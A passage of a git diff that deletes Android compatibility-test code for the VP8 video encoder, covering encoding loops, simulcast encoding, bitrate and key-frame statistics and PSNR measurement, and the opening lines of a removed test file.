-                            throw new RuntimeException("MediaCodec callback was not received");
-                        }
-                    }
-                }
-            } else {
-                Thread.sleep(5);
-            }
-            Log.v(TAG, "----Waiting for bufferEvent done");
-        }
-
-
-        public void waitForCompletion(long timeoutMs) throws Exception {
-            synchronized (mCompletionEvent) {
-                long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
-
-                while (!mCompleted) {
-                    mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
-                    if (System.currentTimeMillis() >= timeoutExpiredMs) {
-                        throw new RuntimeException("encoding has timed out!");
-                    }
-                }
-            }
-        }
-
-        public void signalCompletion() {
-            synchronized (mCompletionEvent) {
-                mCompleted = true;
-                mCompletionEvent.notify();
-            }
-        }
-
-        public void deleteCodec() throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.stop();
-                    mCodec.release();
-                    return null;
-                }
-            } );
-            if (mAsync) {
-                requestStop(); // Stop looper thread
-            }
-        }
-    }
-
-    /**
-     * Vp8 encoding loop supporting encoding single streams with an option
-     * to run in a looper thread and use buffer ready notification callbacks.
-     *
-     * Output stream is described by encodingParams parameters.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever vp8 encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param streamParams  Structure with encoder parameters
-     * @return              Returns array of encoded frames information for each frame.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> encode(
-            EncoderOutputStreamParameters streamParams) throws Exception {
-
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
-                streamParams.frameHeight);
-        int bitrate = streamParams.bitrateSet[0];
-
-        // Create minimal media format signifying desired output.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                VP8_MIME, streamParams.frameWidth, streamParams.frameHeight);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        CodecProperties properties = getVpxCodecProperties(
-                true, format, streamParams.forceGoogleEncoder);
-        if (properties == null) {
-            return null;
-        }
-
-        // Open input/output
-        InputStream yuvStream = OpenFileOrResourceId(
-                streamParams.inputYuvFilename, streamParams.inputResourceId);
-        IvfWriter ivf = new IvfWriter(
-                streamParams.outputIvfFilename, streamParams.frameWidth, streamParams.frameHeight);
-
-        // Create a media format signifying desired output.
-        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
-            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-        }
-        if (streamParams.temporalLayers > 0) {
-            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
-        }
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
-        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
-                streamParams.frameRate;
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
-        // Create encoder
-        Log.d(TAG, "Creating encoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                streamParams.frameWidth + " x " + streamParams.frameHeight +
-                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
-                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
-                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
-                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
-        MediaEncoderAsync codec = new MediaEncoderAsync();
-        codec.createCodec(0, properties.codecName, format,
-                streamParams.timeoutDequeue, streamParams.runInLooperThread);
-
-        // encode loop
-        boolean sawInputEOS = false;  // no more data
-        boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
-        boolean sawOutputEOS = false;
-        boolean inputConsumed = true;
-        int inputFrameIndex = 0;
-        int lastBitrate = bitrate;
-        int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
-        byte[] srcFrame = new byte[srcFrameSize];
-
-        while (!sawOutputEOS) {
-
-            // Read and feed input frame
-            if (!consumedInputEOS) {
-
-                // Read new input buffers - if previous input was consumed and no EOS
-                if (inputConsumed && !sawInputEOS) {
-                    int bytesRead = yuvStream.read(srcFrame);
-
-                    // Check EOS
-                    if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
-                        sawInputEOS = true;
-                        Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
-                    }
-
-                    if (!sawInputEOS && bytesRead == -1) {
-                        if (streamParams.frameCount == 0) {
-                            sawInputEOS = true;
-                            Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
-                        } else {
-                            yuvStream.close();
-                            yuvStream = OpenFileOrResourceId(
-                                    streamParams.inputYuvFilename, streamParams.inputResourceId);
-                            bytesRead = yuvStream.read(srcFrame);
-                        }
-                    }
-
-                    // Force sync frame if syncForceFrameinterval is set.
-                    if (!sawInputEOS && inputFrameIndex > 0 &&
-                            streamParams.syncForceFrameInterval > 0 &&
-                            (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
-                        Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
-                        codec.forceSyncFrame();
-                    }
-
-                    // Dynamic bitrate change.
-                    if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
-                        int newBitrate = streamParams.bitrateSet[inputFrameIndex];
-                        if (newBitrate != lastBitrate) {
-                            Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
-                                    " for frame " + inputFrameIndex);
-                            codec.updateBitrate(newBitrate);
-                            lastBitrate = newBitrate;
-                        }
-                    }
-
-                    // Convert YUV420 to NV12 if necessary
-                    if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                        srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
-                                srcFrame);
-                    }
-                }
-
-                inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
-                if (inputConsumed) {
-                    inputFrameIndex++;
-                    consumedInputEOS = sawInputEOS;
-                }
-            }
-
-            // Get output from the encoder
-            MediaEncoderOutput out = codec.getOutput();
-            if (out.outputGenerated) {
-                // Detect output EOS
-                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "----Output EOS ");
-                    sawOutputEOS = true;
-                }
-
-                if (out.buffer.length > 0) {
-                    // Save frame
-                    ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = out.inPresentationTimeUs -
-                            out.outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                            out.outPresentationTimeUs, out.flags);
-                    bufferInfos.add(bufferInfoCopy);
-                }
-            }
-
-            // If codec is not ready to accept input/poutput - wait for buffer ready callback
-            if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
-                codec.waitForBufferEvent();
-            }
-        }
-
-        codec.deleteCodec();
-        ivf.close();
-        yuvStream.close();
-
-        return bufferInfos;
-    }
-
-    /**
-     * Vp8 encoding run in a looper thread and use buffer ready callbacks.
-     *
-     * Output stream is described by encodingParams parameters.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever vp8 encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param streamParams  Structure with encoder parameters
-     * @return              Returns array of encoded frames information for each frame.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> encodeAsync(
-            EncoderOutputStreamParameters streamParams) throws Exception {
-        if (!streamParams.runInLooperThread) {
-            throw new RuntimeException("encodeAsync should run with a looper thread!");
-        }
-
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
-                streamParams.frameHeight);
-        int bitrate = streamParams.bitrateSet[0];
-
-        // Create minimal media format signifying desired output.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                VP8_MIME, streamParams.frameWidth, streamParams.frameHeight);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        CodecProperties properties = getVpxCodecProperties(
-                true, format, streamParams.forceGoogleEncoder);
-        if (properties == null) {
-            return null;
-        }
-
-        // Open input/output
-        IvfWriter ivf = new IvfWriter(
-                streamParams.outputIvfFilename, streamParams.frameWidth, streamParams.frameHeight);
-
-        // Create a media format signifying desired output.
-        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
-            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-        }
-        if (streamParams.temporalLayers > 0) {
-            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
-        }
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
-        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
-                streamParams.frameRate;
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
-        // Create encoder
-        Log.d(TAG, "Creating encoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                streamParams.frameWidth + " x " + streamParams.frameHeight +
-                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
-                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
-                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
-                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
-
-        MediaEncoderAsync codec = new MediaEncoderAsync();
-        MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
-                streamParams, properties, bufferInfos, ivf);
-
-        codec.setAsyncHelper(helper);
-        codec.createCodec(0, properties.codecName, format,
-                streamParams.timeoutDequeue, streamParams.runInLooperThread);
-        codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
-
-        codec.deleteCodec();
-        ivf.close();
-
-        return bufferInfos;
-    }
-
-    /**
-     * Vp8 encoding loop supporting encoding multiple streams at a time.
-     * Each output stream is described by encodingParams parameters allowing
-     * simultaneous encoding of various resolutions, bitrates with an option to
-     * control key frame and dynamic bitrate for each output stream indepandently.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever vp8 encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param srcFrameWidth     Frame width of input yuv file
-     * @param srcFrameHeight    Frame height of input yuv file
-     * @param encodingParams    Encoder parameters
-     * @return                  Returns 2D array of encoded frames information for each stream and
-     *                          for each frame.
-     */
-    protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
-            int srcFrameWidth,
-            int srcFrameHeight,
-            ArrayList<EncoderOutputStreamParameters> encodingParams)  throws Exception {
-        int numEncoders = encodingParams.size();
-
-        // Create arrays of input/output, formats, bitrates etc
-        ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
-                new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
-        InputStream yuvStream[] = new InputStream[numEncoders];
-        IvfWriter[] ivf = new IvfWriter[numEncoders];
-        FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
-        MediaFormat[] format = new MediaFormat[numEncoders];
-        MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
-        int[] inputFrameIndex = new int[numEncoders];
-        boolean[] sawInputEOS = new boolean[numEncoders];
-        boolean[] consumedInputEOS = new boolean[numEncoders];
-        boolean[] inputConsumed = new boolean[numEncoders];
-        boolean[] bufferConsumed = new boolean[numEncoders];
-        boolean[] sawOutputEOS = new boolean[numEncoders];
-        byte[][] srcFrame = new byte[numEncoders][];
-        boolean sawOutputEOSTotal = false;
-        boolean bufferConsumedTotal = false;
-        CodecProperties[] codecProperties = new CodecProperties[numEncoders];
-
-        numEncoders = 0;
-        for (EncoderOutputStreamParameters params : encodingParams) {
-            int i = numEncoders;
-            Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
-                    params.frameHeight);
-            int bitrate = params.bitrateSet[0];
-
-            // Create minimal media format signifying desired output.
-            format[i] = MediaFormat.createVideoFormat(VP8_MIME,
-                    params.frameWidth, params.frameHeight);
-            format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-            CodecProperties properties = getVpxCodecProperties(
-                    true, format[i], params.forceGoogleEncoder);
-            if (properties == null) {
-                continue;
-            }
-
-            // Check if scaled image was created
-            int scale = params.frameWidth / srcFrameWidth;
-            if (!mScaledImages.contains(scale)) {
-                // resize image
-                cacheScaledImage(params.inputYuvFilename, params.inputResourceId,
-                        srcFrameWidth, srcFrameHeight,
-                        params.scaledYuvFilename, params.frameWidth, params.frameHeight);
-                mScaledImages.add(scale);
-            }
-
-            // Create buffer info storage
-            bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
-
-            // Create YUV reader
-            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
-
-            // Create IVF writer
-            ivf[i] = new IvfWriter(params.outputIvfFilename, params.frameWidth, params.frameHeight);
-
-            // Frame buffer
-            int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
-            srcFrame[i] = new byte[frameSize];
-
-            // Create a media format signifying desired output.
-            if (params.bitrateType == VIDEO_ControlRateConstant) {
-                format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-            }
-            if (params.temporalLayers > 0) {
-                format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
-            }
-            format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-            format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
-            int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
-                    params.frameRate; // in sec
-            format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-            // Create encoder
-            Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
-                    ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                    params.frameWidth + " x " + params.frameHeight +
-                    ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
-                    ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
-                    ". Key frame:" + syncFrameInterval * params.frameRate +
-                    ". Force keyFrame: " + params.syncForceFrameInterval);
-            Log.d(TAG, "  Format: " + format[i]);
-            Log.d(TAG, "  Output ivf:" + params.outputIvfFilename);
-
-            // Create encoder
-            codec[i] = new MediaEncoderAsync();
-            codec[i].createCodec(i, properties.codecName, format[i],
-                    params.timeoutDequeue, params.runInLooperThread);
-            codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
-
-            inputConsumed[i] = true;
-            ++numEncoders;
-        }
-        if (numEncoders == 0) {
-            Log.i(TAG, "no suitable encoders found for any of the streams");
-            return null;
-        }
-
-        while (!sawOutputEOSTotal) {
-            // Feed input buffer to all encoders
-            for (int i = 0; i < numEncoders; i++) {
-                bufferConsumed[i] = false;
-                if (consumedInputEOS[i]) {
-                    continue;
-                }
-
-                EncoderOutputStreamParameters params = encodingParams.get(i);
-                // Read new input buffers - if previous input was consumed and no EOS
-                if (inputConsumed[i] && !sawInputEOS[i]) {
-                    int bytesRead = yuvStream[i].read(srcFrame[i]);
-
-                    // Check EOS
-                    if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
-                        sawInputEOS[i] = true;
-                        Log.d(TAG, "---Enc" + i +
-                                ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
-                    }
-
-                    if (!sawInputEOS[i] && bytesRead == -1) {
-                        if (params.frameCount == 0) {
-                            sawInputEOS[i] = true;
-                            Log.d(TAG, "---Enc" + i +
-                                    ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
-                        } else {
-                            yuvStream[i].close();
-                            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
-                            bytesRead = yuvStream[i].read(srcFrame[i]);
-                        }
-                    }
-
-                    // Convert YUV420 to NV12 if necessary
-                    if (codecProperties[i].colorFormat !=
-                            CodecCapabilities.COLOR_FormatYUV420Planar) {
-                        srcFrame[i] =
-                            YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
-                    }
-                }
-
-                inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
-                if (inputConsumed[i]) {
-                    inputFrameIndex[i]++;
-                    consumedInputEOS[i] = sawInputEOS[i];
-                    bufferConsumed[i] = true;
-                }
-
-            }
-
-            // Get output from all encoders
-            for (int i = 0; i < numEncoders; i++) {
-                if (sawOutputEOS[i]) {
-                    continue;
-                }
-
-                MediaEncoderOutput out = codec[i].getOutput();
-                if (out.outputGenerated) {
-                    bufferConsumed[i] = true;
-                    // Detect output EOS
-                    if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        Log.d(TAG, "----Enc" + i + ". Output EOS ");
-                        sawOutputEOS[i] = true;
-                    }
-
-                    if (out.buffer.length > 0) {
-                        // Save frame
-                        ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
-
-                        // Update statistics - store presentation time delay in offset
-                        long presentationTimeUsDelta = out.inPresentationTimeUs -
-                                out.outPresentationTimeUs;
-                        MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                        bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                                out.outPresentationTimeUs, out.flags);
-                        bufferInfos.get(i).add(bufferInfoCopy);
-                    }
-                }
-            }
-
-            // If codec is not ready to accept input/output - wait for buffer ready callback
-            bufferConsumedTotal = false;
-            for (boolean bufferConsumedCurrent : bufferConsumed) {
-                bufferConsumedTotal |= bufferConsumedCurrent;
-            }
-            if (!bufferConsumedTotal) {
-                // Pick the encoder to wait for
-                for (int i = 0; i < numEncoders; i++) {
-                    if (!bufferConsumed[i] && !sawOutputEOS[i]) {
-                        codec[i].waitForBufferEvent();
-                        break;
-                    }
-                }
-            }
-
-            // Check if EOS happened for all encoders
-            sawOutputEOSTotal = true;
-            for (boolean sawOutputEOSStream : sawOutputEOS) {
-                sawOutputEOSTotal &= sawOutputEOSStream;
-            }
-        }
-
-        for (int i = 0; i < numEncoders; i++) {
-            codec[i].deleteCodec();
-            ivf[i].close();
-            yuvStream[i].close();
-            if (yuvScaled[i] != null) {
-                yuvScaled[i].close();
-            }
-        }
-
-        return bufferInfos;
-    }
-
-    /**
-     * Some encoding statistics.
-     */
-    protected class Vp8EncodingStatistics {
-        Vp8EncodingStatistics() {
-            mBitrates = new ArrayList<Integer>();
-            mFrames = new ArrayList<Integer>();
-            mKeyFrames = new ArrayList<Integer>();
-            mMinimumKeyFrameInterval = Integer.MAX_VALUE;
-        }
-
-        public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
-        public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
-        public int mAverageBitrate;         // Average stream bitrate.
-        public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
-        public int mAverageKeyFrameInterval; // Average key frame interval.
-        public int mMaximumKeyFrameInterval; // Maximum key frame interval.
-        public int mMinimumKeyFrameInterval; // Minimum key frame interval.
-    }
-
-    /**
-     * Calculates average bitrate and key frame interval for the encoded streams.
-     * Output mBitrates field will contain bitrate values for every second
-     * of the encoded stream.
-     * Average stream bitrate will be stored in mAverageBitrate field.
-     * mKeyFrames array will contain the position of key frames in the encoded stream and
-     * mKeyFrameInterval - average key frame interval.
-     */
-    protected Vp8EncodingStatistics computeEncodingStatistics(int encoderId,
-            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
-        Vp8EncodingStatistics statistics = new Vp8EncodingStatistics();
-
-        int totalSize = 0;
-        int frames = 0;
-        int framesPerSecond = 0;
-        int totalFrameSizePerSecond = 0;
-        int maxFrameSize = 0;
-        int currentSecond;
-        int nextSecond = 0;
-        String keyFrameList = "  IFrame List: ";
-        String bitrateList = "  Bitrate list: ";
-        String framesList = "  FPS list: ";
-
-
-        for (int j = 0; j < bufferInfos.size(); j++) {
-            MediaCodec.BufferInfo info = bufferInfos.get(j);
-            currentSecond = (int)(info.presentationTimeUs / 1000000);
-            boolean lastFrame = (j == bufferInfos.size() - 1);
-            if (!lastFrame) {
-                nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
-            }
-
-            totalSize += info.size;
-            totalFrameSizePerSecond += info.size;
-            maxFrameSize = Math.max(maxFrameSize, info.size);
-            framesPerSecond++;
-            frames++;
-
-            // Update the bitrate statistics if the next frame will
-            // be for the next second
-            if (lastFrame || nextSecond > currentSecond) {
-                int currentBitrate = totalFrameSizePerSecond * 8;
-                bitrateList += (currentBitrate + " ");
-                framesList += (framesPerSecond + " ");
-                statistics.mBitrates.add(currentBitrate);
-                statistics.mFrames.add(framesPerSecond);
-                totalFrameSizePerSecond = 0;
-                framesPerSecond = 0;
-            }
-
-            // Update key frame statistics.
-            if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                statistics.mKeyFrames.add(j);
-                keyFrameList += (j + "  ");
-            }
-        }
-        int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
-        duration = (duration + 500) / 1000;
-        statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
-        Log.d(TAG, "Statistics for encoder # " + encoderId);
-        // Calculate average key frame interval in frames.
-        int keyFrames = statistics.mKeyFrames.size();
-        if (keyFrames > 1) {
-            statistics.mAverageKeyFrameInterval =
-                    statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
-            statistics.mAverageKeyFrameInterval =
-                    Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
-            for (int j = 1; j < keyFrames; j++) {
-                int keyFrameInterval =
-                        statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
-                statistics.mMaximumKeyFrameInterval =
-                        Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
-                statistics.mMinimumKeyFrameInterval =
-                        Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
-            }
-            Log.d(TAG, "  Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
-                    ". Min: " + statistics.mMinimumKeyFrameInterval +
-                    ". Avg: " + statistics.mAverageKeyFrameInterval);
-        }
-        Log.d(TAG, "  Frames: " + frames + ". Duration: " + duration +
-                ". Total size: " + totalSize + ". Key frames: " + keyFrames);
-        Log.d(TAG, keyFrameList);
-        Log.d(TAG, bitrateList);
-        Log.d(TAG, framesList);
-        Log.d(TAG, "  Bitrate average: " + statistics.mAverageBitrate);
-        Log.d(TAG, "  Maximum frame size: " + maxFrameSize);
-
-        return statistics;
-    }
-
-    protected Vp8EncodingStatistics computeEncodingStatistics(
-            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
-        return computeEncodingStatistics(0, bufferInfos);
-    }
-
-    protected ArrayList<Vp8EncodingStatistics> computeSimulcastEncodingStatistics(
-            ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
-        int numCodecs = bufferInfos.size();
-        ArrayList<Vp8EncodingStatistics> statistics = new ArrayList<Vp8EncodingStatistics>();
-
-        for (int i = 0; i < numCodecs; i++) {
-            Vp8EncodingStatistics currentStatistics =
-                    computeEncodingStatistics(i, bufferInfos.get(i));
-            statistics.add(currentStatistics);
-        }
-        return statistics;
-    }
-
-    /**
-     * Calculates maximum latency for encoder/decoder based on buffer info array
-     * generated either by encoder or decoder.
-     */
-    protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
-        int maxValue = 0;
-        for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
-            maxValue = Math.max(maxValue,  bufferInfo.offset);
-        }
-        maxValue = (maxValue + 500) / 1000; // mcs -> ms
-        return maxValue;
-    }
-
-    /**
-     * Decoding PSNR statistics.
-     */
-    protected class Vp8DecodingStatistics {
-        Vp8DecodingStatistics() {
-            mMinimumPSNR = Integer.MAX_VALUE;
-        }
-        public double mAveragePSNR;
-        public double mMinimumPSNR;
-    }
-
-    /**
-     * Calculates PSNR value between two video frames.
-     */
-    private double computePSNR(byte[] data0, byte[] data1) {
-        long squareError = 0;
-        assertTrue(data0.length == data1.length);
-        int length = data0.length;
-        for (int i = 0 ; i < length; i++) {
-            int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
-            squareError += diff * diff;
-        }
-        double meanSquareError = (double)squareError / length;
-        double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
-        return psnr;
-    }
-
-    /**
-     * Calculates average and minimum PSNR values between
-     * set of reference and decoded video frames.
-     * Runs PSNR calculation for the full duration of the decoded data.
-     */
-    protected Vp8DecodingStatistics computeDecodingStatistics(
-            String referenceYuvFilename,
-            int referenceYuvRawId,
-            String decodedYuvFilename,
-            int width,
-            int height) throws Exception {
-        Vp8DecodingStatistics statistics = new Vp8DecodingStatistics();
-        InputStream referenceStream =
-                OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
-        InputStream decodedStream = new FileInputStream(decodedYuvFilename);
-
-        int ySize = width * height;
-        int uvSize = width * height / 4;
-        byte[] yRef = new byte[ySize];
-        byte[] yDec = new byte[ySize];
-        byte[] uvRef = new byte[uvSize];
-        byte[] uvDec = new byte[uvSize];
-
-        int frames = 0;
-        double averageYPSNR = 0;
-        double averageUPSNR = 0;
-        double averageVPSNR = 0;
-        double minimumYPSNR = Integer.MAX_VALUE;
-        double minimumUPSNR = Integer.MAX_VALUE;
-        double minimumVPSNR = Integer.MAX_VALUE;
-        int minimumPSNRFrameIndex = 0;
-
-        while (true) {
-            // Calculate Y PSNR.
-            int bytesReadRef = referenceStream.read(yRef);
-            int bytesReadDec = decodedStream.read(yDec);
-            if (bytesReadDec == -1) {
-                break;
-            }
-            if (bytesReadRef == -1) {
-                // Reference file wrapping up
-                referenceStream.close();
-                referenceStream =
-                        OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
-                bytesReadRef = referenceStream.read(yRef);
-            }
-            double curYPSNR = computePSNR(yRef, yDec);
-            averageYPSNR += curYPSNR;
-            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
-            double curMinimumPSNR = curYPSNR;
-
-            // Calculate U PSNR.
-            bytesReadRef = referenceStream.read(uvRef);
-            bytesReadDec = decodedStream.read(uvDec);
-            double curUPSNR = computePSNR(uvRef, uvDec);
-            averageUPSNR += curUPSNR;
-            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
-            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
-
-            // Calculate V PSNR.
-            bytesReadRef = referenceStream.read(uvRef);
-            bytesReadDec = decodedStream.read(uvDec);
-            double curVPSNR = computePSNR(uvRef, uvDec);
-            averageVPSNR += curVPSNR;
-            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
-            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
-
-            // Frame index for minimum PSNR value - help to detect possible distortions
-            if (curMinimumPSNR < statistics.mMinimumPSNR) {
-                statistics.mMinimumPSNR = curMinimumPSNR;
-                minimumPSNRFrameIndex = frames;
-            }
-
-            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
-                    frames, curYPSNR, curUPSNR, curVPSNR);
-            Log.v(TAG, logStr);
-
-            frames++;
-        }
-
-        averageYPSNR /= frames;
-        averageUPSNR /= frames;
-        averageVPSNR /= frames;
-        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
-
-        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
-        String logStr = String.format(Locale.US,
-                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
-                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
-        Log.d(TAG, logStr);
-        logStr = String.format(Locale.US,
-                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
-                minimumYPSNR, minimumUPSNR, minimumVPSNR,
-                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
-        Log.d(TAG, logStr);
-
-        referenceStream.close();
-        decodedStream.close();
-        return statistics;
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/Vp8EncoderTest.java b/tests/tests/media/src/android/media/cts/Vp8EncoderTest.java
deleted file mode 100644
index 5552f6c..0000000
--- a/tests/tests/media/src/android/media/cts/Vp8EncoderTest.java
+++ /dev/null
@@ -1,504 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
